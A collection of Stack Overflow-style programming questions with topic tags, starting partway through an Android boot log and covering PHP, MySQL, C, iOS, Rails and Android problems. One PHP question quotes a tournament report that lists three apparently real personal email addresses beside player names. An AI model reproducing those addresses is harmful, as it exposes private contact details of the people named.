s main thread ready to run. initializing graphics h/w...  d/libegl  (  168): loaded /vendor/lib/egl/libegl_adreno.so  d/libegl  (  168): loaded /vendor/lib/egl/libglesv1_cm_adreno.so  d/libegl  (  168): loaded /vendor/lib/egl/libglesv2_adreno.so  i/adreno-egl(  168): &lt;qegldrvapi_eglinitialize:410&gt;: qualcomm build: 10/28/14  c33033c  ia6306ec328  i/qdgralloc(  168): using (fd=13)  i/qdgralloc(  168): id           = msmfb44_80601  i/qdgralloc(  168): xres         = 768 px  i/qdgralloc(  168): yres         = 1280 px  i/qdgralloc(  168): xres_virtual = 768 px  i/qdgralloc(  168): yres_virtual = 3840 px  i/qdgralloc(  168): bpp          = 32  i/qdgralloc(  168): r            = 24:8  i/qdgralloc(  168): g            = 16:8  i/qdgralloc(  168): b            =  8:8  i/qdgralloc(  168): width        = 61 mm (319.790161 dpi)  i/qdgralloc(  168): height       = 102 mm (318.745087 dpi)  i/qdgralloc(  168): refresh rate = 60.00 hz  d/qdutils (  168): debug_calc_fps: 0  d/qdutils (  168): period: 10  d/qdutils (  168): ignorethresh_us: 500000  d/qdutils (  168): debug_calc_fps: 0  d/qdutils (  168): period: 10  d/qdutils (  168): ignorethresh_us: 500000  d/qdoverlay(  168): initoverlay:: opening the device:: /dev/graphics/fb0  d/qdoverlay(  168): initoverlay:: opening the device:: /dev/graphics/fb1  d/qdoverlay(  168): initoverlay:: opening the device:: /dev/graphics/fb2  d/qdoverlay(  168): initoverlay:: opening the device:: /dev/graphics/fb0  d/qdoverlay(  168): initoverlay:: opening the device:: /dev/graphics/fb1  d/qdoverlay(  168): initoverlay:: opening the device:: /dev/graphics/fb2  i/qdhwcomposer(  168): initializing qualcomm hardware composer  i/qdhwcomposer(  168): mdp version: 440  d/qdhwcomposer(  168): connectppdaemon: cabl is disabled  i/surfaceflinger(  168): using composer version 1.2  i/qdhwcomposer(  168): hwc_registerprocs  i/qdhwcomposer(  168): initializing uevent thread  i/qdhwcomposer(  168): initializing vsync thread  d/qdhwcomposer(  168): hwc_getdisplayattributes disp = 0  width = 768  d/qdhwcomposer(  168): hwc_getdisplayattributes disp = 0  height = 1280  i/surfaceflinger(  168): egl information:  i/surfaceflinger(  168): vendor    : android  i/surfaceflinger(  168): version   : 1.4 android meta-egl  i/surfaceflinger(  168): extensions: egl_khr_get_all_proc_addresses egl_android_presentation_time egl_khr_image egl_khr_image_base egl_khr_lock_surface egl_khr_gl_texture_2d_image egl_khr_gl_texture_cubemap_image egl_khr_gl_renderbuffer_image egl_khr_fence_sync egl_khr_create_context egl_ext_create_context_robustness egl_android_image_native_buffer egl_khr_wait_sync egl_android_recordable   i/surfaceflinger(  168): client api: opengl_es  i/surfaceflinger(  168): eglsurface: 8-8-8-8  config=0x5  i/surfaceflinger(  168): opengl es informations:  i/surfaceflinger(  168): vendor    : qualcomm  i/surfaceflinger(  168): renderer  : adreno (tm) 320  i/surfaceflinger(  168): version   : opengl es 3.0 v@95.0 au@  (git@ia6306ec328)  i/surfaceflinger(  168): extensions: gl_amd_compressed_atc_texture gl_amd_performance_monitor gl_amd_program_binary_z400 gl_ext_debug_label gl_ext_debug_marker gl_ext_discard_framebuffer gl_ext_robustness gl_ext_texture_format_bgra8888 gl_ext_texture_type_2_10_10_10_rev gl_nv_fence gl_oes_compressed_etc1_rgb8_texture gl_oes_depth_texture gl_oes_depth24 gl_oes_egl_image gl_oes_egl_sync gl_oes_egl_image_external gl_oes_element_index_uint gl_oes_fbo_render_mipmap gl_oes_fragment_precision_high gl_oes_get_program_binary gl_oes_packed_depth_stencil gl_oes_depth_texture_cube_map gl_oes_rgb8_rgba8 gl_oes_standard_derivatives gl_oes_texture_3d gl_oes_texture_float gl_oes_texture_half_float gl_oes_texture_half_float_linear gl_oes_texture_npot gl_oes_vertex_half_float gl_oes_vertex_type_10_10_10_2 gl_oes_vertex_array_object gl_qcom_alpha_test gl_qcom_binning_control gl_qcom_driver_control gl_qcom_perfmon_global_mode gl_qcom_extended_get gl_qcom_extended_get2 gl_qcom_tiled_rendering gl_qcom_writeonly_rendering gl_ext_srgb gl_ext_srgb_write_con  i/surfaceflinger(  168): gl_max_texture_size = 4096  i/surfaceflinger(  168): gl_max_viewport_dims = 4096  d/surfaceflinger(  168): set power mode=2  type=0 flinger=0xb7ddf550  d/libegl  (  211): loaded /vendor/lib/egl/libegl_adreno.so  d/libegl  (  211): loaded /vendor/lib/egl/libglesv1_cm_adreno.so  d/libegl  (  211): loaded /vendor/lib/egl/libglesv2_adreno.so  i/adreno-egl(  211): &lt;qegldrvapi_eglinitialize:410&gt;: qualcomm build: 10/28/14  c33033c  ia6306ec328  d/surfaceflinger(  168): shader cache generated - 24 shaders in 299.482391 ms  i/kickstart-qcks(  170): efs prepend  i/kickstart-qcks(  170): file: /firmware/image/efs1.mbn  is available for reading  i/kickstart-qcks(  170): file: /firmware/image/efs2.mbn  is available for reading  i/kickstart-qcks(  170): file: /dev/block/platform/msm_sdcc.1/by-name/m9kefs1  is available for reading  i/kickstart-qcks(  170): file: /dev/block/platform/msm_sdcc.1/by-name/m9kefs2  is available for reading  i/kickstart-qcks(  170): file: /firmware/image/acdb.mbn  is available for reading  i/kickstart-qcks(  170): file: /firmware/image/mdm_acdb.img  is available for reading  i/kickstart-qcks(  170): reading raw efs1 partition  i/kickstart-qcks(  170): running dd if=/dev/block/platform/msm_sdcc.1/by-name/m9kefs1 of=/data/qcks/temp.dump bs=1024 count=3072  i/kickstart-qcks(  170): combining header1 with raw efs1 partition  i/kickstart-qcks(  170): running cat /firmware/image/efs1.mbn /data/qcks/temp.dump &gt; /data/qcks/efs1.bin  i/kickstart-qcks(  170): reading raw efs2 partition  i/kickstart-qcks(  170): running dd if=/dev/block/platform/msm_sdcc.1/by-name/m9kefs2 of=/data/qcks/temp.dump bs=1024 count=3072  i/kickstart-qcks(  170): combining header2 with raw efs2 partition  i/kickstart-qcks(  170): running cat /firmware/image/efs2.mbn /data/qcks/temp.dump &gt; /data/qcks/efs2.bin  i/kickstart-qcks(  170): reading raw efs3 partition  i/kickstart-qcks(  170): running dd if=/dev/block/platform/msm_sdcc.1/by-name/m9kefs3 of=/data/qcks/temp.dump bs=1024 count=3072  i/kickstart-qcks(  170): combining header3 with raw efs3 partition  i/kickstart-qcks(  170): running cat /firmware/image/efs3.mbn /data/qcks/temp.dump &gt; /data/qcks/efs3.bin  i/kickstart-qcks(  170): combining acdb header with acdb binary  i/kickstart-qcks(  170): running cat /firmware/image/acdb.mbn /firmware/image/mdm_acdb.img &gt; /data/qcks/acdb.bin  i/kickstart-qcks(  170): loading sahara images  i/kickstart-qcks(  170): testing if port  /dev/ks_hsic_bridge  exists  e/kickstart-qcks(  170): running:   /system/bin/ks  -w /data/tombstones/mdm/ -p /dev/ks_hsic_bridge -r 21 -s 2:/firmware/image/amss.mbn -s 6:/firmware/image/apps.mbn -s 8:/firmware/image/dsp1.mbn -s 11:/firmware/image/osbl.mbn -s 12:/firmware/image/dsp2.mbn -s 21:/firmware/image/sbl1.mbn -s 22:/firmware/image/sbl2.mbn -s 23:/firmware/image/rpm.mbn -s 28:/firmware/image/dsp3.mbn -s 16:/data/qcks/efs1.bin -s 17:/data/qcks/efs2.bin -s 20:/data/qcks/efs3.bin -s 29:/data/qcks/acdb.bin  e/kickstart(  231): wrote to /sys/power/wake_lock  e/kickstart(  231): requested id 21  file  /firmware/image/sbl1.mbn   e/kickstart(  231): 117700 bytes transferred in 0.124s (0.91 mbps)  e/kickstart(  231): wrote to /sys/power/wake_unlock  e/kickstart(  231): wrote to /sys/power/wake_lock  e/kickstart(  231): requested id 23  file  /firmware/image/rpm.mbn   e/kickstart(  231): 105696 bytes transferred in 0.024s (4.28 mbps)  e/kickstart(  231): wrote to /sys/power/wake_unlock  e/kickstart(  231): wrote to /sys/power/wake_lock  e/kickstart(  231): requested id 22  file  /firmware/image/sbl2.mbn   e/kickstart(  231): 242376 bytes transferred in 0.036s (6.50 mbps)  e/kickstart(  231): wrote to /sys/power/wake_unlock  e/kickstart(  231): wrote to /sys/power/wake_lock  e/kickstart(  231): requested id 12  file  /firmware/image/dsp2.mbn   e/kickstart(  231): 32140366 bytes transferred in 3.376s (9.08 mbps)  e/kickstart(  231): wrote to /sys/power/wake_unlock  e/kickstart(  231): wrote to /sys/power/wake_lock  e/kickstart(  231): requested id 28  file  /firmware/image/dsp3.mbn   e/kickstart(  231): 6334186 bytes transferred in 0.624s (9.69 mbps)  e/kickstart(  231): wrote to /sys/power/wake_unlock  e/kickstart(  231): wrote to /sys/power/wake_lock  e/kickstart(  231): requested id 8  file  /firmware/image/dsp1.mbn   e/kickstart(  231): 2688527 bytes transferred in 0.312s (8.23 mbps)  e/kickstart(  231): wrote to /sys/power/wake_unlock  e/kickstart(  231): wrote to /sys/power/wake_lock  e/kickstart(  231): requested id 16  file  /data/qcks/efs1.bin   e/kickstart(  231): 786472 bytes transferred in 0.076s (9.91 mbps)  e/kickstart(  231): wrote to /sys/power/wake_unlock  e/kickstart(  231): wrote to /sys/power/wake_lock  e/kickstart(  231): requested id 17  file  /data/qcks/efs2.bin   e/kickstart(  231): 786472 bytes transferred in 0.076s (9.91 mbps)  e/kickstart(  231): wrote to /sys/power/wake_unlock  e/kickstart(  231): wrote to /sys/power/wake_lock  e/kickstart(  231): requested id 20  file  /data/qcks/efs3.bin   e/kickstart(  231): 786472 bytes transferred in 0.076s (9.91 mbps)  e/kickstart(  231): wrote to /sys/power/wake_unlock  e/kickstart(  231): wrote to /sys/power/wake_lock  e/kickstart(  231): requested id 29  file  /data/qcks/acdb.bin   e/kickstart(  231): 2097192 bytes transferred in 0.184s (10.89 mbps)  e/kickstart(  231): wrote to /sys/power/wake_unlock  e/kickstart(  231): wrote to /sys/power/wake_lock  e/kickstart(  231): requested id 6  file  /firmware/image/apps.mbn   e/kickstart(  231): 2630368 bytes transferred in 0.304s (8.26 mbps)  e/kickstart(  231): wrote to /sys/power/wake_unlock  e/kickstart(  231): sahara protocol completed  e/kickstart(  231): removing linked list of input files  e/kickstart(  231): removing linked list of input files  i/kickstart-qcks(  170): retcode = 0  e/kickstart-qcks(  170): sahara transfer completed successfully  e/kickstart-qcks(  170): spawning efsks  i/kickstart-efsks(  232): efs_tty= /dev/efs_hsic_bridge   i/kickstart-efsks(  232): parsing  where to save memorydump  options  i/kickstart-efsks(  232): pathtosavefiles= /dev/block/platform/msm_sdcc.1/by-name/   i/kickstart-efsks(  232): efsks parameters  i/kickstart-efsks(  232): efs_tty= /dev/efs_hsic_bridge   i/kickstart-efsks(  232): ks_path= /system/bin/ks   i/kickstart-efsks(  232): pathtosavefiles= /dev/block/platform/msm_sdcc.1/by-name/   i/kickstart-efsks(  232): rx_timeout=-1  e/kickstart-efsks(  232): file  /dev/efs_hsic_bridge  was not found  e/kickstart-efsks(  232): /dev/efs_hsic_bridge does not exist.  e/kickstart-efsks(  232): running:  /system/bin/ks -m -w /dev/block/platform/msm_sdcc.1/by-name/ -p /dev/efs_hsic_bridge -t -1 -l   e/kickstart(  235): wrote to /sys/power/wake_lock  e/kickstart(  235): wrote to /sys/power/wake_unlock </code></pre>   can any body help me where i went wrong.,android
meaning of  indentationerror: expected an indented block  exception   i am learning python but...don t understand what this error means.    <pre class= lang-none prettyprint-override ><code>&gt;&gt;&gt; for edad in range(10  18): #que nos muestre la edad de 10 a 18 (errores causados por los dos puntos)...   file  &lt;stdin&gt;   line 2 ...   file  &lt;stdin&gt;   line 2      ^ indentationerror: expected an indented block </code></pre>,python
rails multi-select getting undefined method `to_i   i m trying to select multiple <code>events</code> in the <code>invtime</code> form.    invtime   <pre><code>has_many :events </code></pre>   this is my form code:   <pre><code>    &lt;%= f.select :event_id  event.all.collect {|x| [x.title  x.id]}  {}  :multiple =&gt; true %&gt; </code></pre>   the display looks good!  but  when i select the last event and submit  i get:   <pre><code>undefined method `to_i  for [     62 ]:array </code></pre>   the page inspection shows:   <pre><code>&lt;select id= invtime_event_id  multiple= multiple  name= invtime[event_id][] &gt;   &lt;option value= 66 &gt;meeting&lt;/option&gt;   &lt;option value= 62 &gt;auto fill some fields on new workorder&lt;/option&gt; &lt;/select&gt; </code></pre>   thanks for the help!,ruby-on-rails
how to set n-th bit of *x to v value in c  i need to implement this method.    i have the unsigned <code>* x</code>  i need to set <code>v</code> value in the n-th bit  using bitwise operators in c.   <pre><code>void set_bit(unsigned * x               unsigned n               unsigned v){      //i need the code here  thanks for your help! } </code></pre>,c
splitting a large array() on a specific index  i have a form on my site for the users to post a results report into  the report looks like this:   <pre><code>nojoks s tourney bracket tool version 1.2.1.84 tournament:  3/5 backgammon 1:00pm date:  01/22/2017 day:  sunday scheduled start:  1.00pm pst actual start:  20:00:30 closed:  20:11:00 host:  waiter () number of players:  15  1st place:  poppop 1st place email:  bobmitch1170@gmail.com 2nd place:  sarge 2nd place email:  rgarvey5@hotmail.com 3rd place:  litigolfer 3rd place email:  dostrow2008@gmail.com 3rd place:  phantommask 3rd place email:    start points burnieboy 5 eu_bnl_chris1 5 eu_it_viang 5 gennalee 5 happybear 5 mc_vicky 5 merceaviles 5 mrc_cadet 5 poeticfool 5 ubg_angel_d_8 5 ubg_sara1smoon 5 litigolfer 60 phantommask 60 sarge 90 poppop 120 stop points </code></pre>   this report is going to be identical everytime with some minor  changes i have already split this into an array with explode   <pre><code>$records = explode( php_eol  $_post[ points ] ); $records = array_map( htmlspecialchars   $records ); $records = array_map ( trim   $records); </code></pre>   then i have work on collecting the information from the top of the report like so:   <pre><code>// get date $date = substr($records[2]  7  10); echo  &lt;b&gt;tournament date: &lt;/b&gt;  . $date .  &lt;br /&gt; ; // get star time $start_time = substr($records[4]  18  7); echo  &lt;b&gt;tournament start time: &lt;/b&gt;  . $start_time .  &lt;br /&gt; ; </code></pre>   now i need to work on everything from $records[20] down  what i need to do is simple enough i just do not know how to get to the correct part of my array first i used to ask my users to post only the information from the start points line down to stop points so to get my information out and split was simple i used:   <pre><code>foreach( $records as $record ) {     $lastspace = strrpos( $record      );     $player = trim( substr( $record  0  $lastspace ) );     $points = trim( substr( $record  $lastspace+1 ) ); </code></pre>   this code will still work in this case if i can drop  the index s 0 - 19 or just split the array into a new array $records1  p.s its this section in the report that is ever changing so to speak this report is from a online tournament hosting tool and each tournament has no set amount of players it can range from 8 upwards,php
how to customize camera screen with uiimagepickercontroller  i want to display camera as a mirror but not capture the photo or to shoot video . so i need to display camera with only cancel button. please anybody help me thanx in adv.,iphone
android selector item precedence  my question is wether in android you can have a selector item have precedence over another. i m having the problem that the last item is being selected over the second item. in my code i use a listview and in both onitemclick and longitemclick i have coded view.sethovered(true); which works only when the view is not activated. if it s activated @color/black is used instead of @color/white. thanks in advance!   <pre><code>&lt;item android:state_activated= false  android:state_hovered= false  android:color= @color/gray_light /&gt; &lt;item android:state_hovered= true  android:color= @color/white /&gt; &lt;item android:state_activated= true  android:state_hovered= false  android:color= @color/black /&gt; </code></pre>   edit1: maybe this is the problem: does it matter in which order v.setactivated / v.sethovered is called  edit2: i ve put all v.sethovered(true) calls after v.setactivated(true) calls but it still chooses @color/black.,android
sort string containing text and numbers  i m trying to query and sort a column without much luck. my data looks like this and is consistent with the preceding  wp .    should display as   <pre><code>  wp1-wp2     wp2-wp3     wp10-wp11     wp10-wp12 </code></pre>   actually displays as   <pre><code> wp1-wp2     wp10-wp11     wp10-wp12     wp2-wp3 </code></pre>   i ve attempted adapting several answers found on here with no success.    question is how do i sort this list as it should      edit: i am using distinct in the query  not sure if this will effect the problem i m having,mysql
use if statement on order by <h3>table structure</h3>  <pre><code>id int unsigned auto_increment type int value varchar </code></pre>  <h3>data</h3>  <pre><code>id  type value 1   1   1000000 2   1   20000 3   1   25000 4   1   50000 5   1   25000 6   1   20000 7   1   20000 8   1   50000 9   1   20000 10  1   50000 11  1   50000 12  1   50000 13  1   200000 14  1   20000 15  1   25000 16  1   20000 17  1   25000 18  1   25000 19  1   20000 20  1   50 21  1   20000 22  1   50000 23  1   1000000 24  1   25000 25  1   25000 26  1   50000 27  1   50000 28  1   50000 29  2   a 30  2   b </code></pre>   there are two types in the table  if type is 1 value will be number  if type is 2 the value will be string  therefore  if i want to order by value i need to convert value to <code>unsigned</code> when type is 1  just order by the letter if type is 2  here is the mysql script i wrote.   <pre><code>select *      convert(`value`  unsigned) `result` from `tests` order by if(`result` = 0  `value`  `result`) desc </code></pre>   i use <code>result = 0</code> to check if the value is string or number  if result = 0 order by <code>value</code> directly  if not order by <code>convert result</code>  but the output is not exactly order by the <code>convert result</code>  if i edit the code to   <pre><code>select *      convert(`value`  unsigned) `result` from `tests` order by if(`result` = 0  `result`  `result`) desc </code></pre>   the output will be correct  that s mean if condition is work but the result is wrong  have no idea about that.   <h3>dump query</h3>  <pre><code>create table if not exists `tests` (   `id` int(10) unsigned not null    `type` int(11) default  1     `value` varchar(100) collate utf8_unicode_ci default null ) engine=innodb auto_increment=31 default charset=utf8 collate=utf8_unicode_ci;  insert into `tests` (`id`  `type`  `value`) values (1  1   1000000 )  (2  1   20000 )  (3  1   25000 )  (4  1   50000 )  (5  1   25000 )  (6  1   20000 )  (7  1   20000 )  (8  1   50000 )  (9  1   20000 )  (10  1   50000 )  (11  1   50000 )  (12  1   50000 )  (13  1   200000 )  (14  1   20000 )  (15  1   25000 )  (16  1   20000 )  (17  1   25000 )  (18  1   25000 )  (19  1   20000 )  (20  1   50 )  (21  1   20000 )  (22  1   50000 )  (23  1   1000000 )  (24  1   25000 )  (25  1   25000 )  (26  1   50000 )  (27  1   50000 )  (28  1   50000 )  (29  2   a )  (30  2   b ); </code></pre>,mysql
unregister broadcast receiver  i making a app in which a broadcast receiver run regularly even when application is close. my app is working very well but when i want to unregister my broadcast receiver it gave me error that  receiver is not registered . i write its entry on the manifest file as this   <pre class= lang-android prettyprint-override ><code>&lt;receiver  android:name= .phonecallreceiver &gt;             &lt;intent-filter  android:priority= 10  &gt;                 &lt;action android:name= android.intent.action.phone_state  /&gt;             &lt;/intent-filter&gt;         &lt;/receiver&gt; </code></pre>,android
angularjs 1.2 animation fallback when no-cssanimations supported  i m using the new angularjs 1.2 approach (<a href= http://www.yearofmoo.com/2013/08/remastered-animation-in-angularjs-1-2.html  rel= nofollow >year of moo article</a>) for animations using css3 transitions. i d like to conditionally apply a fallback jquery animation if the browser doesn t support css animations.   <ul> <li>my css animations are working fine when only using css ng-enter  ng-enter-active  etc.</li> <li>my jquery animations are working fine when using app.animations( ... ) as shown below</li> <li>i m using modernizr so the .no-cssanimations class is already applied to my html document.</li> <li>i d like to conditionally apply the jquery animation when css animations aren t supported for browsers such as ie9.</li> </ul>   right now  i m trying to do it through the class selector <strong> .no-cssanimations .slideup-form </strong> like this...   <pre><code>//simplified angular animation example app.animation( **.no-cssanimations .slideup-form**   function () {      return {           enter: function (element  done) { ... }            leave: function (element  done) { ... }           } }); </code></pre>   that s not working. is there a better way to accomplish this     thanks...    <strong>update</strong>:    i wasn t able to figure out the selector approach above - but i have it working by conditionally calling app.animation() by testing the modernizr object in javascript. i didn t realize you could test like this.   <pre><code>if (modernizr.canvas) { ... } </code></pre>   thanks again for the help.,angularjs
multiple button in a single view  i have a web project which includes two button in a view.when i click a button some textboxes along with that second button have to be visible.after entering data in textboxes when i am trying to click the second button  its not working.what should i do to make it work  thanks in advance.,asp.net
convert characters in string to integers for multiplication  i am having trouble getting this to work. what i want to do is take user input example <code>1  2  3</code> and then multiple each character by 2 so output would be <code>2  4  6</code>. eventually i will take a long string of numbers and multiply every other character in the string by 2 leaving the rest untouched.    the problem i a having now is that i think it is multiplying the ascii value by 2 not the actual integer by 2. below is the code i have so far i haven t added any error checking to it yet to make sure the user inputs only numbers and not more than 16 etc. i am new to programming in c and am just doing this to learn.   <pre><code>#include &lt;stdio.h&gt;   int main(void){   char numbers[17]; int i;     printf( please enter number\n );     scanf( %s   &amp;numbers);      for(int i=0;i&lt;strlen(numbers);i++){         printf( %c\n  numbers[i] * 2);     }  } </code></pre>,c
how can i let preg_replace show the accents  i m using this function to block some special characters.   <pre><code>function safeescape($val) {     $valescape = preg_replace( /[^\p{l}\p{n}\s]/u       $val);     $valsafe = mysql_real_escape_string($valescape);     return $valsafe; } </code></pre>   but when i insert something with accents into my database  exemple:    tést    preg_replace blocks the word.    how can i prevent that,php
ios : application crashes with error  application failed to launch in time   my ios app doesn t run in background. when home button is hit the app will terminate.    below is my code   <pre><code>- (void)applicationdidenterbackground:(uiapplication *)application  {   double sleeptime = [[uiapplication sharedapplication] backgroundtimeremaining] - 1;    [self performtaskfortime:sleeptime]; } </code></pre>   if the application is relaunched in no time  the new instance of the app will killed with the error :   <blockquote>    exception type:  00000020 exception codes: 0x8badf00d highlighted   thread:  0        application specific information: my_app failed to launch in time  </blockquote>   i can t reduce the sleep time. is there any solution for this,ios
looking for an ios version of showcaseview  i m looking for a library similar to <a href= https://github.com/amlcurran/showcaseview  rel= nofollow >https://github.com/amlcurran/showcaseview</a>    i want to be able to implement forced tutorials on new users who open my application for the first time. does anyone know where i can find a library that helps make this easy,ios
css active class not working for tab content  i m trying to set the left border of the list item with <code>link</code> text to red on active  and when the user clicks another list item  the previous border is set to the original and the successive list item is then set to a red left border. i tried with an <code>:active</code> class  but that is not working correctly:   <pre><code>      &lt;ul class= list-group &gt;         &lt;li class= 2  data-toggle= collapse  data-target= #2  aria-expanded= false &gt;link&lt;/li&gt;       &lt;/ul&gt; </code></pre>   <strong>css</strong>    <pre><code>li {   list-style-type: none; }  .list-group li:active {   border-left: 3px solid #ce2523;   padding-left: 7px;   color: #000000; } </code></pre>   jsfiddle: <a href= https://jsfiddle.net/vxz7zrg9/  rel= nofollow noreferrer >link</a>,css
how to display confirm message on gridview image button  i have the following button on gridview and i want to display a message box to the user for confirming whether he is sure or not for buying the item.(i m familiar with onclientclick= return confirm( xxxxx ); ) but on grid view it is different i can t use this method though.    <pre><code>&lt;asp:buttonfield commandname= buynow  imageurl= ~/images/buy.png  headertext= buy  buttontype= image /&gt;  </code></pre>,asp.net
deploy web application which uses native dll  i have a web project (mvc)  which uses one native library (the ghostscript library).    though my code  i am referencing this library with the dllimport attribute   <pre><code>[dllimport( gsdll64.dll   entrypoint =  gsapi_new_instance )] private static extern int gsapi_new_instance (out intptr pinstance  intptr caller_handle); </code></pre>   now i need to deploy this web application. how to deploy the native dll as well  i am not referencing it like a normal managed library and i am a bit confused about the deploying.,.net
learning objective-c: need advice on populating nsmutabledictionary  i am teaching myself objective-c utilizing a number of resources  one of which is the stanford iphone dev class available via itunes u (past 2010 class).     one of the home work assignments asked that i populate a mutable dictionary with a predefined list of keys and values (urls). i was able to put the code together  but as i look at it  i keep thinking there is probably a much better way for me to approach what i m trying to do:   <ol> <li>populate a nsmutabledictionary with the predefined keys and values</li> <li>enumerate through the keys of the dictionary and check each key to see if it starts with  stanford </li> <li>if it meets the criteria  log both the key and the value</li> </ol>   i would really appreciate any feedback on how i might improve on what i ve put together. i m the very definition of a beginner  but i m really enjoying the challenge of learning objective-c.   <pre><code>void bookmarkdictionary () {     nsmutabledictionary* bookmarks = [nsmutabledictionary dictionary];      nsstring* one = @ stanford university       *two = @ apple       *three = @ cs193p       *four = @ stanford on itunes u       *five = @ stanford mall ;      nsstring* urlone = @ http://www.stanford.edu       *urltwo = @ http://www.apple.com       *urlthree = @ http://cs193p.stanford.edu       *urlfour = @ http://itunes.stanford.edu       *urlfive = @ http://stanfordshop.com ;      nsurl* oneurl = [nsurl urlwithstring:urlone];     nsurl* twourl = [nsurl urlwithstring:urltwo];     nsurl* threeurl = [nsurl urlwithstring:urlthree];     nsurl* foururl = [nsurl urlwithstring:urlfour];     nsurl* fiveurl = [nsurl urlwithstring:urlfive];      [bookmarks setobject:oneurl forkey:one];     [bookmarks setobject:twourl forkey:two];     [bookmarks setobject:threeurl forkey:three];     [bookmarks setobject:foururl forkey:four];     [bookmarks setobject:fiveurl forkey:five];      nsstring* akey;     nsstring* teststring = @ stanford ;      for (akey in bookmarks) {          if ([akey hasprefix:teststring]) {             nslog(@ key: %@     url: %@   akey  [bookmarks objectforkey:akey]);         }      }  } </code></pre>   thanks for your help!,objective-c
parse double comma separated unichar from xml and display it in regular arabic letters  i want to know how can i parse data like: <code>charcode= 0x0644 0x0625 </code> double comma separated unichar from xml file and convert them to regular arabic letter. the unichar above is two regular arabic letters that must be appended. but i wonder how to parse it because i am new in objective-c and don t know how.     this is how i have parsed single unichar from xml file:    <pre><code>-(void)loaddatafromxml{      nsstring* path = [[nsbundle mainbundle] pathforresource: @ alphabet  oftype: @ xml ];     nsdata* data = [nsdata datawithcontentsoffile: path];     nsxmlparser* parser = [[nsxmlparser alloc] initwithdata: data];     [parser setdelegate:self];     [parser parse];     [parser release];  } </code></pre>   and:   <pre><code>- (void)parser:(nsxmlparser *)parser didstartelement:(nsstring *)elementname namespaceuri:(nsstring *)namespaceuri qualifiedname:(nsstring *)qualifiedname attributes:(nsdictionary *)attributedict{      if ([elementname isequaltostring:@ letter ]) {         name = [attributedict valueforkey:@ name ];            charcode  =[attributedict valueforkey:@ charcode ];         namesound =[attributedict valueforkey:@ namesound ];         status=@ 0 ;          uint charvalue;        [[nsscanner scannerwithstring:charcode] scanhexint:&amp;charvalue];        charcode=[nsstring stringwithformat:@ %c   charvalue];    } } </code></pre>   <strong>thanks in advance.</strong>,objective-c
jquery preventing form submit when used with $.ajax  here is my jquery code   <pre><code>$( #mappingform ).submit(function () {     alert( map clicked );      var mappedbdm = $( #mappedbdms ).val();     var result = false;      alert(mappedbdm);      $.ajax({         type:  get           url:  ../../mapmopbdm           data: {             mappedbdm: mappedbdm         }          success: function (html) {             if (html !=   ) {                 result = confirm(mappedbdm +   is already assigned to  + html +  . do you want to continue   );                 alert(result);             }         }     });      if (result == false) {         e.preventdefault();     } }); </code></pre>   the result shown is false. however the form is still submitted        what can be the reason   what is a solution,jquery
sql - getting more data with a group by  hoping someone can help me out with this.    lets say i have a table called incoming_data with 4 columns:   <pre><code>primary_key_id serial_number counter selected_color </code></pre>   i get data from a source that fills this table. the primary key has its identity  turned on so it is not repeating. i will get duplicate serial numbers with different selected colors.    the counter is ever increasing coming from the device.     so what i want to do is select all the data i received today  group the data by serial number and only get the record with the highest counter value.     simple:   <pre><code>select      serial_number  max(counter) from        incoming_data  group by    serial number </code></pre>   this works perfectly  except that i want to do something with the color information  that i received.     if i add color to the select  then i get all the records since all the colors i received that day are different. that wont work.    if i could get the primary_key_id of the record then i could just  query for the color but this doesn t work either since each primary_key_id  value is different i get them all.     any suggestions on a better technique for doing this     thanks!,sql
what is wrong with this program that passes an int to puts()  <pre><code>#include&lt;stdlib.h&gt; #include&lt;stdio.h&gt;  int main()  {     int value = 3;     puts(value);     return 0; } </code></pre>   when i try to run it  it says  <em>project_name</em> has stopped working,c
closing and reopening android app  i m making an android app with two activities  a main menu and a game activity. so far the app runs fine  and switching back and forth between activities works as it should. a problem arises though when the game activity is running and i press the home button. when i tap the icon to reopen the game  it opens to a black screen and doesn t do anything. i created all of the life cycle methods and print messages each time one is called  but when i try to reopen the app  it doesn t call oncreate()  onstart()  or onresume() for either of the two activities. if i go to task manager and close the app  then go to reopen it  it opens up to the main menu activity as expected. the problem only arises when i hit the home button and then try to open the app again. is there any way to fix this     here is some code from my game activity  including all the life cycle methods:   <pre><code>public class klondike extends activity{  private klondikegameview gameview; private statshandler statshandler; private klondikegamestats gamestats; private relativelayout mainlayout; public boolean createsavedgame;  @override protected void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     createsavedgame = true;     setcontentview(r.layout.klondike);     mainlayout = (relativelayout) findviewbyid(r.id.main_klondike_layout);     displaymetrics dm = new displaymetrics();     this.getwindowmanager().getdefaultdisplay().getmetrics(dm);      this.statshandler = new statshandler();     this.gamestats = new klondikegamestats(system.currenttimemillis());      gameview = new klondikegameview(getapplicationcontext()  this  dm.heightpixels  dm.widthpixels  statshandler  gamestats);     mainlayout.addview(gameview);     gameview.startgamethread(); }  @override protected void onstart() {     super.onstart();     system.out.println( onstart was called for klondike ); }  @override protected void onresume() {     super.onresume();     system.out.println( onresume was called for klondike );     if (klondikesavehandler.checkifsavedstateexists(getapplicationcontext())){         klondikesavehandler.restoresavedstate(getapplicationcontext()  gamestats  gameview.getgameboard());     } }  @override protected void onpause() {     super.onpause();     system.out.println( onpause was called for klondike );     if (createsavedgame){         klondikesavehandler.preparesavedgame(getapplicationcontext()  gamestats  gameview.getgameboard());         system.out.println( game saved );     }     else {         system.out.println( game not eligible for saving );     } }  @override protected void onstop() {     super.onstop();     system.out.println( onstop was called for klondike ); }  @override protected void onrestart() {     super.onrestart();     system.out.println( onrestart was called for klondike ); }  @override protected void ondestroy() {     super.ondestroy();     system.out.println( ondestroy was called for klondike ); } } </code></pre>   after i hit the home button  onpause is called  and the game is saved correctly.    here is the manifest file:   <pre><code>&lt;manifest xmlns:android= http://schemas.android.com/apk/res/android      package= com.app.thomas.solitaire  &gt;      &lt;application         android:allowbackup= true          android:icon= @mipmap/ic_launcher          android:label= @string/app_name          android:theme= @style/apptheme  &gt;         &lt;activity             android:name= com.app.thomas.solitaire.mainmenu              android:label= @string/app_name  &gt;             &lt;intent-filter&gt;                 &lt;action android:name= android.intent.action.main  /&gt;                  &lt;category android:name= android.intent.category.launcher  /&gt;             &lt;/intent-filter&gt;         &lt;/activity&gt;         &lt;activity             android:name= com.app.thomas.solitaire.klondike              android:label= klondike              android:theme= @style/apptheme &gt;         &lt;/activity&gt;     &lt;/application&gt;  &lt;/manifest&gt; </code></pre>,android
